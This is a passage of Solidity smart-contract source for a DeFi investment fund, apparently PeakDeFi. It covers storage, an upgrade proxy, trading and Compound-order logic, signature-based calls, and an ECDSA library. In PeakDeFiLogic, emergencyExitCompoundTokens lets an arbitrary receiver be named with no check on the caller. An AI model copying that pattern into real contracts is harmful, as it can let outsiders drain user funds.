mapping(address => uint256) internal _lastActiveCycle;
// Checks if an address points to a whitelisted Kyber token.
mapping(address => bool) public isKyberToken;
// Checks if an address points to a whitelisted Compound token. Returns false for cUSDC and other stablecoin CompoundTokens.
mapping(address => bool) public isCompoundToken;
// The current cycle phase.
CyclePhase public cyclePhase;
// Upgrade governance related variables
bool public hasFinalizedNextVersion; // Denotes if the address of the next smart contract version has been finalized
address payable public nextVersion; // Address of the next version of PeakDeFiFund.
// Contract instances
IMiniMeToken internal cToken;
IMiniMeToken internal sToken;
PeakDeFiProxyInterface internal proxy;
// PeakDeFi
uint256 public peakReferralTotalCommissionLeft;
uint256 public peakManagerStakeRequired;
mapping(uint256 => uint256) internal _peakReferralTotalCommissionOfCycle;
mapping(address => uint256) internal _peakReferralLastCommissionRedemption;
mapping(address => mapping(uint256 => bool))
internal _peakReferralHasRedeemedCommissionForCycle;
IMiniMeToken public peakReferralToken;
PeakReward public peakReward;
PeakStaking public peakStaking;
bool public isPermissioned;
mapping(address => mapping(uint256 => bool)) public hasUsedSalt;
// Events
event ChangedPhase(
uint256 indexed _cycleNumber,
uint256 indexed _newPhase,
uint256 _timestamp,
uint256 _totalFundsInUSDC
);
event Deposit(
uint256 indexed _cycleNumber,
address indexed _sender,
address _tokenAddress,
uint256 _tokenAmount,
uint256 _usdcAmount,
uint256 _timestamp
);
event Withdraw(
uint256 indexed _cycleNumber,
address indexed _sender,
address _tokenAddress,
uint256 _tokenAmount,
uint256 _usdcAmount,
uint256 _timestamp
);
event CreatedInvestment(
uint256 indexed _cycleNumber,
address indexed _sender,
uint256 _id,
address _tokenAddress,
uint256 _stakeInWeis,
uint256 _buyPrice,
uint256 _costUSDCAmount,
uint256 _tokenAmount
);
event SoldInvestment(
uint256 indexed _cycleNumber,
address indexed _sender,
uint256 _id,
address _tokenAddress,
uint256 _receivedRepToken,
uint256 _sellPrice,
uint256 _earnedUSDCAmount
);
event CreatedCompoundOrder(
uint256 indexed _cycleNumber,
address indexed _sender,
uint256 _id,
address _order,
bool _orderType,
address _tokenAddress,
uint256 _stakeInWeis,
uint256 _costUSDCAmount
);
event SoldCompoundOrder(
uint256 indexed _cycleNumber,
address indexed _sender,
uint256 _id,
address _order,
bool _orderType,
address _tokenAddress,
uint256 _receivedRepToken,
uint256 _earnedUSDCAmount
);
event RepaidCompoundOrder(
uint256 indexed _cycleNumber,
address indexed _sender,
uint256 _id,
address _order,
uint256 _repaidUSDCAmount
);
event CommissionPaid(
uint256 indexed _cycleNumber,
address indexed _sender,
uint256 _commission
);
event TotalCommissionPaid(
uint256 indexed _cycleNumber,
uint256 _totalCommissionInUSDC
);
event Register(
address indexed _manager,
uint256 _donationInUSDC,
uint256 _reptokenReceived
);
event BurnDeadman(address indexed _manager, uint256 _reptokenBurned);
event DeveloperInitiatedUpgrade(
uint256 indexed _cycleNumber,
address _candidate
);
event FinalizedNextVersion(
uint256 indexed _cycleNumber,
address _nextVersion
);
event PeakReferralCommissionPaid(
uint256 indexed _cycleNumber,
address indexed _sender,
uint256 _commission
);
event PeakReferralTotalCommissionPaid(
uint256 indexed _cycleNumber,
uint256 _totalCommissionInUSDC
);
/*
Helper functions shared by both PeakDeFiLogic & PeakDeFiFund
*/
function lastCommissionRedemption(address _manager)
public
view
returns (uint256)
{
if (_lastCommissionRedemption[_manager] == 0) {
return
previousVersion == address(0)
? 0
: PeakDeFiStorage(previousVersion).lastCommissionRedemption(
_manager
);
}
return _lastCommissionRedemption[_manager];
}
function hasRedeemedCommissionForCycle(address _manager, uint256 _cycle)
public
view
returns (bool)
{
if (_hasRedeemedCommissionForCycle[_manager][_cycle] == false) {
return
previousVersion == address(0)
? false
: PeakDeFiStorage(previousVersion)
.hasRedeemedCommissionForCycle(_manager, _cycle);
}
return _hasRedeemedCommissionForCycle[_manager][_cycle];
}
function riskTakenInCycle(address _manager, uint256 _cycle)
public
view
returns (uint256)
{
if (_riskTakenInCycle[_manager][_cycle] == 0) {
return
previousVersion == address(0)
? 0
: PeakDeFiStorage(previousVersion).riskTakenInCycle(
_manager,
_cycle
);
}
return _riskTakenInCycle[_manager][_cycle];
}
function baseRiskStakeFallback(address _manager)
public
view
returns (uint256)
{
if (_baseRiskStakeFallback[_manager] == 0) {
return
previousVersion == address(0)
? 0
: PeakDeFiStorage(previousVersion).baseRiskStakeFallback(
_manager
);
}
return _baseRiskStakeFallback[_manager];
}
function totalCommissionOfCycle(uint256 _cycle)
public
view
returns (uint256)
{
if (_totalCommissionOfCycle[_cycle] == 0) {
return
previousVersion == address(0)
? 0
: PeakDeFiStorage(previousVersion).totalCommissionOfCycle(
_cycle
);
}
return _totalCommissionOfCycle[_cycle];
}
function managePhaseEndBlock(uint256 _cycle) public view returns (uint256) {
if (_managePhaseEndBlock[_cycle] == 0) {
return
previousVersion == address(0)
? 0
: PeakDeFiStorage(previousVersion).managePhaseEndBlock(
_cycle
);
}
return _managePhaseEndBlock[_cycle];
}
function lastActiveCycle(address _manager) public view returns (uint256) {
if (_lastActiveCycle[_manager] == 0) {
return
previousVersion == address(0)
? 0
: PeakDeFiStorage(previousVersion).lastActiveCycle(_manager);
}
return _lastActiveCycle[_manager];
}
/**
PeakDeFi
*/
function peakReferralLastCommissionRedemption(address _manager)
public
view
returns (uint256)
{
if (_peakReferralLastCommissionRedemption[_manager] == 0) {
return
previousVersion == address(0)
? 0
: PeakDeFiStorage(previousVersion)
.peakReferralLastCommissionRedemption(_manager);
}
return _peakReferralLastCommissionRedemption[_manager];
}
function peakReferralHasRedeemedCommissionForCycle(
address _manager,
uint256 _cycle
) public view returns (bool) {
if (
_peakReferralHasRedeemedCommissionForCycle[_manager][_cycle] ==
false
) {
return
previousVersion == address(0)
? false
: PeakDeFiStorage(previousVersion)
.peakReferralHasRedeemedCommissionForCycle(
_manager,
_cycle
);
}
return _peakReferralHasRedeemedCommissionForCycle[_manager][_cycle];
}
function peakReferralTotalCommissionOfCycle(uint256 _cycle)
public
view
returns (uint256)
{
if (_peakReferralTotalCommissionOfCycle[_cycle] == 0) {
return
previousVersion == address(0)
? 0
: PeakDeFiStorage(previousVersion)
.peakReferralTotalCommissionOfCycle(_cycle);
}
return _peakReferralTotalCommissionOfCycle[_cycle];
}
}
pragma solidity 0.5.17;
interface PeakDeFiProxyInterface {
function peakdefiFundAddress() external view returns (address payable);
function updatePeakDeFiFundAddress() external;
}
pragma solidity 0.5.17;
import "./PeakDeFiFund.sol";
contract PeakDeFiProxy {
address payable public peakdefiFundAddress;
event UpdatedFundAddress(address payable _newFundAddr);
constructor(address payable _fundAddr) public {
peakdefiFundAddress = _fundAddr;
emit UpdatedFundAddress(_fundAddr);
}
function updatePeakDeFiFundAddress() public {
require(msg.sender == peakdefiFundAddress, "Sender not PeakDeFiFund");
address payable nextVersion = PeakDeFiFund(peakdefiFundAddress)
.nextVersion();
require(nextVersion != address(0), "Next version can't be empty");
peakdefiFundAddress = nextVersion;
emit UpdatedFundAddress(peakdefiFundAddress);
}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
import "./PeakDeFiStorage.sol";
import "./derivatives/CompoundOrderFactory.sol";
/**
* @title Part of the functions for PeakDeFiFund
* @author Zefram Lou (Zebang Liu)
*/
contract PeakDeFiLogic is
PeakDeFiStorage,
Utils(address(0), address(0), address(0))
{
/**
* @notice Executes function only during the given cycle phase.
* @param phase the cycle phase during which the function may be called
*/
modifier during(CyclePhase phase) {
require(cyclePhase == phase);
if (cyclePhase == CyclePhase.Intermission) {
require(isInitialized);
}
_;
}
/**
* @notice Returns the length of the user's investments array.
* @return length of the user's investments array
*/
function investmentsCount(address _userAddr)
public
view
returns (uint256 _count)
{
return userInvestments[_userAddr].length;
}
/**
* @notice Burns the RepToken balance of a manager who has been inactive for a certain number of cycles
* @param _deadman the manager whose RepToken balance will be burned
*/
function burnDeadman(address _deadman)
public
nonReentrant
during(CyclePhase.Intermission)
{
require(_deadman != address(this));
require(
cycleNumber.sub(lastActiveCycle(_deadman)) > INACTIVE_THRESHOLD
);
uint256 balance = cToken.balanceOf(_deadman);
require(cToken.destroyTokens(_deadman, balance));
emit BurnDeadman(_deadman, balance);
}
/**
* @notice Creates a new investment for an ERC20 token. Backwards compatible.
* @param _tokenAddress address of the ERC20 token contract
* @param _stake amount of RepTokens to be staked in support of the investment
* @param _maxPrice the maximum price for the trade
*/
function createInvestment(
address _tokenAddress,
uint256 _stake,
uint256 _maxPrice
) public {
bytes memory nil;
createInvestmentV2(
msg.sender,
_tokenAddress,
_stake,
_maxPrice,
nil,
true
);
}
function createInvestmentWithSignature(
address _tokenAddress,
uint256 _stake,
uint256 _maxPrice,
bytes calldata _calldata,
bool _useKyber,
address _manager,
uint256 _salt,
bytes calldata _signature
) external {
require(!hasUsedSalt[_manager][_salt]);
bytes32 naiveHash = keccak256(
abi.encodeWithSelector(
this.createInvestmentWithSignature.selector,
abi.encode(
_tokenAddress,
_stake,
_maxPrice,
_calldata,
_useKyber
),
"|END|",
_salt,
address(this)
)
);
bytes32 msgHash = ECDSA.toEthSignedMessageHash(naiveHash);
address recoveredAddress = ECDSA.recover(msgHash, _signature);
require(recoveredAddress == _manager);
// Signature valid, record use of salt
hasUsedSalt[_manager][_salt] = true;
this.createInvestmentV2(
_manager,
_tokenAddress,
_stake,
_maxPrice,
_calldata,
_useKyber
);
}
/**
* @notice Called by user to sell the assets an investment invested in. Returns the staked RepToken plus rewards/penalties to the user.
* The user can sell only part of the investment by changing _tokenAmount. Backwards compatible.
* @dev When selling only part of an investment, the old investment would be "fully" sold and a new investment would be created with
* the original buy price and however much tokens that are not sold.
* @param _investmentId the ID of the investment
* @param _tokenAmount the amount of tokens to be sold.
* @param _minPrice the minimum price for the trade
*/
function sellInvestmentAsset(
uint256 _investmentId,
uint256 _tokenAmount,
uint256 _minPrice
) public {
bytes memory nil;
sellInvestmentAssetV2(
msg.sender,
_investmentId,
_tokenAmount,
_minPrice,
nil,
true
);
}
function sellInvestmentWithSignature(
uint256 _investmentId,
uint256 _tokenAmount,
uint256 _minPrice,
bytes calldata _calldata,
bool _useKyber,
address _manager,
uint256 _salt,
bytes calldata _signature
) external {
require(!hasUsedSalt[_manager][_salt]);
bytes32 naiveHash = keccak256(
abi.encodeWithSelector(
this.sellInvestmentWithSignature.selector,
abi.encode(
_investmentId,
_tokenAmount,
_minPrice,
_calldata,
_useKyber
),
"|END|",
_salt,
address(this)
)
);
bytes32 msgHash = ECDSA.toEthSignedMessageHash(naiveHash);
address recoveredAddress = ECDSA.recover(msgHash, _signature);
require(recoveredAddress == _manager);
// Signature valid, record use of salt
hasUsedSalt[_manager][_salt] = true;
this.sellInvestmentAssetV2(
_manager,
_investmentId,
_tokenAmount,
_minPrice,
_calldata,
_useKyber
);
}
/**
* @notice Creates a new investment for an ERC20 token.
* @param _tokenAddress address of the ERC20 token contract
* @param _stake amount of RepTokens to be staked in support of the investment
* @param _maxPrice the maximum price for the trade
* @param _calldata calldata for 1inch trading
* @param _useKyber true for Kyber Network, false for 1inch
*/
function createInvestmentV2(
address _sender,
address _tokenAddress,
uint256 _stake,
uint256 _maxPrice,
bytes memory _calldata,
bool _useKyber
)
public
during(CyclePhase.Manage)
nonReentrant
isValidToken(_tokenAddress)
{
require(msg.sender == _sender || msg.sender == address(this));
require(_stake > 0);
require(isKyberToken[_tokenAddress]);
// Verify user peak stake
uint256 peakStake = peakStaking.userStakeAmount(_sender);
require(peakStake >= peakManagerStakeRequired);
// Collect stake
require(cToken.generateTokens(address(this), _stake));
require(cToken.destroyTokens(_sender, _stake));
// Add investment to list
userInvestments[_sender].push(
Investment({
tokenAddress: _tokenAddress,
cycleNumber: cycleNumber,
stake: _stake,
tokenAmount: 0,
buyPrice: 0,
sellPrice: 0,
buyTime: now,
buyCostInUSDC: 0,
isSold: false
})
);
// Invest
uint256 investmentId = investmentsCount(_sender).sub(1);
__handleInvestment(
_sender,
investmentId,
0,
_maxPrice,
true,
_calldata,
_useKyber
);
// Update last active cycle
_lastActiveCycle[_sender] = cycleNumber;
// Emit event
__emitCreatedInvestmentEvent(_sender, investmentId);
}
/**
* @notice Called by user to sell the assets an investment invested in. Returns the staked RepToken plus rewards/penalties to the user.
* The user can sell only part of the investment by changing _tokenAmount.
* @dev When selling only part of an investment, the old investment would be "fully" sold and a new investment would be created with
* the original buy price and however much tokens that are not sold.
* @param _investmentId the ID of the investment
* @param _tokenAmount the amount of tokens to be sold.
* @param _minPrice the minimum price for the trade
*/
function sellInvestmentAssetV2(
address _sender,
uint256 _investmentId,
uint256 _tokenAmount,
uint256 _minPrice,
bytes memory _calldata,
bool _useKyber
) public nonReentrant during(CyclePhase.Manage) {
require(msg.sender == _sender || msg.sender == address(this));
Investment storage investment = userInvestments[_sender][_investmentId];
require(
investment.buyPrice > 0 &&
investment.cycleNumber == cycleNumber &&
!investment.isSold
);
require(_tokenAmount > 0 && _tokenAmount <= investment.tokenAmount);
// Create new investment for leftover tokens
bool isPartialSell = false;
uint256 stakeOfSoldTokens = investment.stake.mul(_tokenAmount).div(
investment.tokenAmount
);
if (_tokenAmount != investment.tokenAmount) {
isPartialSell = true;
__createInvestmentForLeftovers(
_sender,
_investmentId,
_tokenAmount
);
__emitCreatedInvestmentEvent(
_sender,
investmentsCount(_sender).sub(1)
);
}
// Update investment info
investment.isSold = true;
// Sell asset
(
uint256 actualDestAmount,
uint256 actualSrcAmount
) = __handleInvestment(
_sender,
_investmentId,
_minPrice,
uint256(-1),
false,
_calldata,
_useKyber
);
__sellInvestmentUpdate(
_sender,
_investmentId,
stakeOfSoldTokens,
actualDestAmount
);
}
function __sellInvestmentUpdate(
address _sender,
uint256 _investmentId,
uint256 stakeOfSoldTokens,
uint256 actualDestAmount
) internal {
Investment storage investment = userInvestments[_sender][_investmentId];
// Return staked RepToken
uint256 receiveRepTokenAmount = getReceiveRepTokenAmount(
stakeOfSoldTokens,
investment.sellPrice,
investment.buyPrice
);
__returnStake(receiveRepTokenAmount, stakeOfSoldTokens);
// Record risk taken in investment
__recordRisk(_sender, investment.stake, investment.buyTime);
// Update total funds
totalFundsInUSDC = totalFundsInUSDC.sub(investment.buyCostInUSDC).add(
actualDestAmount
);
// Emit event
__emitSoldInvestmentEvent(
_sender,
_investmentId,
receiveRepTokenAmount,
actualDestAmount
);
}
function __emitSoldInvestmentEvent(
address _sender,
uint256 _investmentId,
uint256 _receiveRepTokenAmount,
uint256 _actualDestAmount
) internal {
Investment storage investment = userInvestments[_sender][_investmentId];
emit SoldInvestment(
cycleNumber,
_sender,
_investmentId,
investment.tokenAddress,
_receiveRepTokenAmount,
investment.sellPrice,
_actualDestAmount
);
}
function __createInvestmentForLeftovers(
address _sender,
uint256 _investmentId,
uint256 _tokenAmount
) internal {
Investment storage investment = userInvestments[_sender][_investmentId];
uint256 stakeOfSoldTokens = investment.stake.mul(_tokenAmount).div(
investment.tokenAmount
);
// calculate the part of original USDC cost attributed to the sold tokens
uint256 soldBuyCostInUSDC = investment
.buyCostInUSDC
.mul(_tokenAmount)
.div(investment.tokenAmount);
userInvestments[_sender].push(
Investment({
tokenAddress: investment.tokenAddress,
cycleNumber: cycleNumber,
stake: investment.stake.sub(stakeOfSoldTokens),
tokenAmount: investment.tokenAmount.sub(_tokenAmount),
buyPrice: investment.buyPrice,
sellPrice: 0,
buyTime: investment.buyTime,
buyCostInUSDC: investment.buyCostInUSDC.sub(soldBuyCostInUSDC),
isSold: false
})
);
// update the investment object being sold
investment.tokenAmount = _tokenAmount;
investment.stake = stakeOfSoldTokens;
investment.buyCostInUSDC = soldBuyCostInUSDC;
}
function __emitCreatedInvestmentEvent(address _sender, uint256 _id)
internal
{
Investment storage investment = userInvestments[_sender][_id];
emit CreatedInvestment(
cycleNumber,
_sender,
_id,
investment.tokenAddress,
investment.stake,
investment.buyPrice,
investment.buyCostInUSDC,
investment.tokenAmount
);
}
function createCompoundOrderWithSignature(
bool _orderType,
address _tokenAddress,
uint256 _stake,
uint256 _minPrice,
uint256 _maxPrice,
address _manager,
uint256 _salt,
bytes calldata _signature
) external {
require(!hasUsedSalt[_manager][_salt]);
bytes32 naiveHash = keccak256(
abi.encodeWithSelector(
this.createCompoundOrderWithSignature.selector,
abi.encode(
_orderType,
_tokenAddress,
_stake,
_minPrice,
_maxPrice
),
"|END|",
_salt,
address(this)
)
);
bytes32 msgHash = ECDSA.toEthSignedMessageHash(naiveHash);
address recoveredAddress = ECDSA.recover(msgHash, _signature);
require(recoveredAddress == _manager);
// Signature valid, record use of salt
hasUsedSalt[_manager][_salt] = true;
this.createCompoundOrder(
_manager,
_orderType,
_tokenAddress,
_stake,
_minPrice,
_maxPrice
);
}
function sellCompoundOrderWithSignature(
uint256 _orderId,
uint256 _minPrice,
uint256 _maxPrice,
address _manager,
uint256 _salt,
bytes calldata _signature
) external {
require(!hasUsedSalt[_manager][_salt]);
bytes32 naiveHash = keccak256(
abi.encodeWithSelector(
this.sellCompoundOrderWithSignature.selector,
abi.encode(_orderId, _minPrice, _maxPrice),
"|END|",
_salt,
address(this)
)
);
bytes32 msgHash = ECDSA.toEthSignedMessageHash(naiveHash);
address recoveredAddress = ECDSA.recover(msgHash, _signature);
require(recoveredAddress == _manager);
// Signature valid, record use of salt
hasUsedSalt[_manager][_salt] = true;
this.sellCompoundOrder(_manager, _orderId, _minPrice, _maxPrice);
}
function repayCompoundOrderWithSignature(
uint256 _orderId,
uint256 _repayAmountInUSDC,
address _manager,
uint256 _salt,
bytes calldata _signature
) external {
require(!hasUsedSalt[_manager][_salt]);
bytes32 naiveHash = keccak256(
abi.encodeWithSelector(
this.repayCompoundOrderWithSignature.selector,
abi.encode(_orderId, _repayAmountInUSDC),
"|END|",
_salt,
address(this)
)
);
bytes32 msgHash = ECDSA.toEthSignedMessageHash(naiveHash);
address recoveredAddress = ECDSA.recover(msgHash, _signature);
require(recoveredAddress == _manager);
// Signature valid, record use of salt
hasUsedSalt[_manager][_salt] = true;
this.repayCompoundOrder(_manager, _orderId, _repayAmountInUSDC);
}
/**
* @notice Creates a new Compound order to either short or leverage long a token.
* @param _orderType true for a short order, false for a levarage long order
* @param _tokenAddress address of the Compound token to be traded
* @param _stake amount of RepTokens to be staked
* @param _minPrice the minimum token price for the trade
* @param _maxPrice the maximum token price for the trade
*/
function createCompoundOrder(
address _sender,
bool _orderType,
address _tokenAddress,
uint256 _stake,
uint256 _minPrice,
uint256 _maxPrice
)
public
during(CyclePhase.Manage)
nonReentrant
isValidToken(_tokenAddress)
{
require(msg.sender == _sender || msg.sender == address(this));
require(_minPrice <= _maxPrice);
require(_stake > 0);
require(isCompoundToken[_tokenAddress]);
// Verify user peak stake
uint256 peakStake = peakStaking.userStakeAmount(_sender);
require(peakStake >= peakManagerStakeRequired);
// Collect stake
require(cToken.generateTokens(address(this), _stake));
require(cToken.destroyTokens(_sender, _stake));
// Create compound order and execute
uint256 collateralAmountInUSDC = totalFundsInUSDC.mul(_stake).div(
cToken.totalSupply()
);
CompoundOrder order = __createCompoundOrder(
_orderType,
_tokenAddress,
_stake,
collateralAmountInUSDC
);
usdc.safeApprove(address(order), 0);
usdc.safeApprove(address(order), collateralAmountInUSDC);
order.executeOrder(_minPrice, _maxPrice);
// Add order to list
userCompoundOrders[_sender].push(address(order));
// Update last active cycle
_lastActiveCycle[_sender] = cycleNumber;
__emitCreatedCompoundOrderEvent(
_sender,
address(order),
_orderType,
_tokenAddress,
_stake,
collateralAmountInUSDC
);
}
function __emitCreatedCompoundOrderEvent(
address _sender,
address order,
bool _orderType,
address _tokenAddress,
uint256 _stake,
uint256 collateralAmountInUSDC
) internal {
// Emit event
emit CreatedCompoundOrder(
cycleNumber,
_sender,
userCompoundOrders[_sender].length - 1,
address(order),
_orderType,
_tokenAddress,
_stake,
collateralAmountInUSDC
);
}
/**
* @notice Sells a compound order
* @param _orderId the ID of the order to be sold (index in userCompoundOrders[msg.sender])
* @param _minPrice the minimum token price for the trade
* @param _maxPrice the maximum token price for the trade
*/
function sellCompoundOrder(
address _sender,
uint256 _orderId,
uint256 _minPrice,
uint256 _maxPrice
) public during(CyclePhase.Manage) nonReentrant {
require(msg.sender == _sender || msg.sender == address(this));
// Load order info
require(userCompoundOrders[_sender][_orderId] != address(0));
CompoundOrder order = CompoundOrder(
userCompoundOrders[_sender][_orderId]
);
require(order.isSold() == false && order.cycleNumber() == cycleNumber);
// Sell order
(uint256 inputAmount, uint256 outputAmount) = order.sellOrder(
_minPrice,
_maxPrice
);
// Return staked RepToken
uint256 stake = order.stake();
uint256 receiveRepTokenAmount = getReceiveRepTokenAmount(
stake,
outputAmount,
inputAmount
);
__returnStake(receiveRepTokenAmount, stake);
// Record risk taken
__recordRisk(_sender, stake, order.buyTime());
// Update total funds
totalFundsInUSDC = totalFundsInUSDC.sub(inputAmount).add(outputAmount);
// Emit event
emit SoldCompoundOrder(
cycleNumber,
_sender,
userCompoundOrders[_sender].length - 1,
address(order),
order.orderType(),
order.compoundTokenAddr(),
receiveRepTokenAmount,
outputAmount
);
}
/**
* @notice Repys debt for a Compound order to prevent the collateral ratio from dropping below threshold.
* @param _orderId the ID of the Compound order
* @param _repayAmountInUSDC amount of USDC to use for repaying debt
*/
function repayCompoundOrder(
address _sender,
uint256 _orderId,
uint256 _repayAmountInUSDC
) public during(CyclePhase.Manage) nonReentrant {
require(msg.sender == _sender || msg.sender == address(this));
// Load order info
require(userCompoundOrders[_sender][_orderId] != address(0));
CompoundOrder order = CompoundOrder(
userCompoundOrders[_sender][_orderId]
);
require(order.isSold() == false && order.cycleNumber() == cycleNumber);
// Repay loan
order.repayLoan(_repayAmountInUSDC);
// Emit event
emit RepaidCompoundOrder(
cycleNumber,
_sender,
userCompoundOrders[_sender].length - 1,
address(order),
_repayAmountInUSDC
);
}
function emergencyExitCompoundTokens(
address _sender,
uint256 _orderId,
address _tokenAddr,
address _receiver
) public during(CyclePhase.Intermission) nonReentrant {
CompoundOrder order = CompoundOrder(userCompoundOrders[_sender][_orderId]);
order.emergencyExitTokens(_tokenAddr, _receiver);
}
function getReceiveRepTokenAmount(
uint256 stake,
uint256 output,
uint256 input
) public pure returns (uint256 _amount) {
if (output >= input) {
// positive ROI, simply return stake * (1 + ROI)
return stake.mul(output).div(input);
} else {
// negative ROI
uint256 absROI = input.sub(output).mul(PRECISION).div(input);
if (absROI <= ROI_PUNISH_THRESHOLD) {
// ROI better than -10%, no punishment
return stake.mul(output).div(input);
} else if (
absROI > ROI_PUNISH_THRESHOLD && absROI < ROI_BURN_THRESHOLD
) {
// ROI between -10% and -25%, punish
// return stake * (1 + roiWithPunishment) = stake * (1 + (-(6 * absROI - 0.5)))
return
stake
.mul(
PRECISION.sub(
ROI_PUNISH_SLOPE.mul(absROI).sub(
ROI_PUNISH_NEG_BIAS
)
)
)
.div(PRECISION);
} else {
// ROI greater than 25%, burn all stake
return 0;
}
}
}
/**
* @notice Handles and investment by doing the necessary trades using __kyberTrade() or Fulcrum trading
* @param _investmentId the ID of the investment to be handled
* @param _minPrice the minimum price for the trade
* @param _maxPrice the maximum price for the trade
* @param _buy whether to buy or sell the given investment
* @param _calldata calldata for 1inch trading
* @param _useKyber true for Kyber Network, false for 1inch
*/
function __handleInvestment(
address _sender,
uint256 _investmentId,
uint256 _minPrice,
uint256 _maxPrice,
bool _buy,
bytes memory _calldata,
bool _useKyber
) internal returns (uint256 _actualDestAmount, uint256 _actualSrcAmount) {
Investment storage investment = userInvestments[_sender][_investmentId];
address token = investment.tokenAddress;
// Basic trading
uint256 dInS; // price of dest token denominated in src token
uint256 sInD; // price of src token denominated in dest token
if (_buy) {
if (_useKyber) {
(
dInS,
sInD,
_actualDestAmount,
_actualSrcAmount
) = __kyberTrade(
usdc,
totalFundsInUSDC.mul(investment.stake).div(
cToken.totalSupply()
),
ERC20Detailed(token)
);
} else {
// 1inch trading
(
dInS,
sInD,
_actualDestAmount,
_actualSrcAmount
) = __oneInchTrade(
usdc,
totalFundsInUSDC.mul(investment.stake).div(
cToken.totalSupply()
),
ERC20Detailed(token),
_calldata
);
}
require(_minPrice <= dInS && dInS <= _maxPrice);
investment.buyPrice = dInS;
investment.tokenAmount = _actualDestAmount;
investment.buyCostInUSDC = _actualSrcAmount;
} else {
if (_useKyber) {
(
dInS,
sInD,
_actualDestAmount,
_actualSrcAmount
) = __kyberTrade(
ERC20Detailed(token),
investment.tokenAmount,
usdc
);
} else {
(
dInS,
sInD,
_actualDestAmount,
_actualSrcAmount
) = __oneInchTrade(
ERC20Detailed(token),
investment.tokenAmount,
usdc,
_calldata
);
}
require(_minPrice <= sInD && sInD <= _maxPrice);
investment.sellPrice = sInD;
}
}
/**
* @notice Separated from createCompoundOrder() to avoid stack too deep error
*/
function __createCompoundOrder(
bool _orderType, // True for shorting, false for longing
address _tokenAddress,
uint256 _stake,
uint256 _collateralAmountInUSDC
) internal returns (CompoundOrder) {
CompoundOrderFactory factory = CompoundOrderFactory(
compoundFactoryAddr
);
uint256 loanAmountInUSDC = _collateralAmountInUSDC
.mul(COLLATERAL_RATIO_MODIFIER)
.div(PRECISION)
.mul(factory.getMarketCollateralFactor(_tokenAddress))
.div(PRECISION);
CompoundOrder order = factory.createOrder(
_tokenAddress,
cycleNumber,
_stake,
_collateralAmountInUSDC,
loanAmountInUSDC,
_orderType
);
return order;
}
/**
* @notice Returns stake to manager after investment is sold, including reward/penalty based on performance
*/
function __returnStake(uint256 _receiveRepTokenAmount, uint256 _stake)
internal
{
require(cToken.destroyTokens(address(this), _stake));
require(cToken.generateTokens(msg.sender, _receiveRepTokenAmount));
}
/**
* @notice Records risk taken in a trade based on stake and time of investment
*/
function __recordRisk(
address _sender,
uint256 _stake,
uint256 _buyTime
) internal {
_riskTakenInCycle[_sender][cycleNumber] = riskTakenInCycle(
_sender,
cycleNumber
)
.add(_stake.mul(now.sub(_buyTime)));
}
}
pragma solidity ^0.5.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* NOTE: This call _does not revert_ if the signature is invalid, or
* if the signer is otherwise unable to be retrieved. In those scenarios,
* the zero address is returned.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
// If the signature is valid (and not malleable), return the signer address
return ecrecover(hash, v, r, s);
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity 0.5.17;
import "./PeakDeFiStorage.sol";
import "./derivatives/CompoundOrderFactory.sol";
import "@nomiclabs/buidler/console.sol";
/**
* @title Part of the functions for PeakDeFiFund
* @author Zefram Lou (Zebang Liu)
*/
contract PeakDeFiLogic2 is
PeakDeFiStorage,
Utils(address(0), address(0), address(0))
{
/**
* @notice Passes if the fund has not finalized the next smart contract to upgrade to
*/
modifier notReadyForUpgrade {
require(hasFinalizedNextVersion == false);
_;
}
/**
* @notice Executes function only during the given cycle phase.
* @param phase the cycle phase during which the function may be called
*/
modifier during(CyclePhase phase) {
require(cyclePhase == phase);
if (cyclePhase == CyclePhase.Intermission) {
require(isInitialized);
}
_;
}
/**
* Deposit & Withdraw
*/
function depositEther(address _referrer) public payable {
bytes memory nil;
depositEtherAdvanced(true, nil, _referrer);
}
/**
* @notice Deposit Ether into the fund. Ether will be converted into USDC.
* @param _useKyber true for Kyber Network, false for 1inch
* @param _calldata calldata for 1inch trading
* @param _referrer the referrer's address
*/
function depositEtherAdvanced(
bool _useKyber,
bytes memory _calldata,
address _referrer
) public payable nonReentrant notReadyForUpgrade {
// Buy USDC with ETH
uint256 actualUSDCDeposited;
uint256 actualETHDeposited;
